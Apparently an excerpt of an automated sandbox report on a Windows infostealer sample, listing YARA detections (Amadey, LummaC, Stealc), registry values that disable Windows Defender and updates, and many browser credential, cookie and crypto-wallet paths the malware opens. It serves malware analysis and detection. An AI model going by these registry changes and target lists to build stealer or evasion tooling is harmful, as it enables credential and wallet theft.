Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000001.00000003.1431793279.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2186422142.000000000173B000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2226590736.00000000060DE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2186572054.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2188741137.00000000016DB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 5.2.OQ8LP4972W0L2P9TRRG7I8.exe.440000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.860000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1666148414.0000000000861000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1578066168.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1910276571.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1681605342.0000000000861000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.2533708529.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.1638565061.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1625812886.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1620025526.0000000000441000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 9c8810ba8c.exe PID: 5700, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3cbc500e8f.exe PID: 3312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3cbc500e8f.exe PID: 4684, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 31.2.num.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.num.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.num.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.c74ef7bd5d.exe.910000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.num.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.c74ef7bd5d.exe.910000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000003.2291705404.0000000005350000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2474881578.0000000001978000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2202241135.000000000057E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2283064269.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.2454419542.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2160499732.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2470365828.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2390642371.000000000157B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2382127807.0000000000911000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2202933789.0000000000911000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.2255211546.0000000000F21000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2288121473.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c74ef7bd5d.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 3cbc500e8f.exe, 0000000D.00000003.2150787501.0000000001742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: 3cbc500e8f.exe, 0000000D.00000003.2150787501.0000000001742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 3cbc500e8f.exe, 0000000D.00000002.2230728877.000000000165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 3cbc500e8f.exe, 0000000D.00000003.2150787501.0000000001742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: 3cbc500e8f.exe, 0000000D.00000003.2097602826.000000000173D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: 3cbc500e8f.exe, 0000000D.00000003.2097602826.000000000173D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum6
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore
Source: 3cbc500e8f.exe, 0000000D.00000003.2097602826.000000000173D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
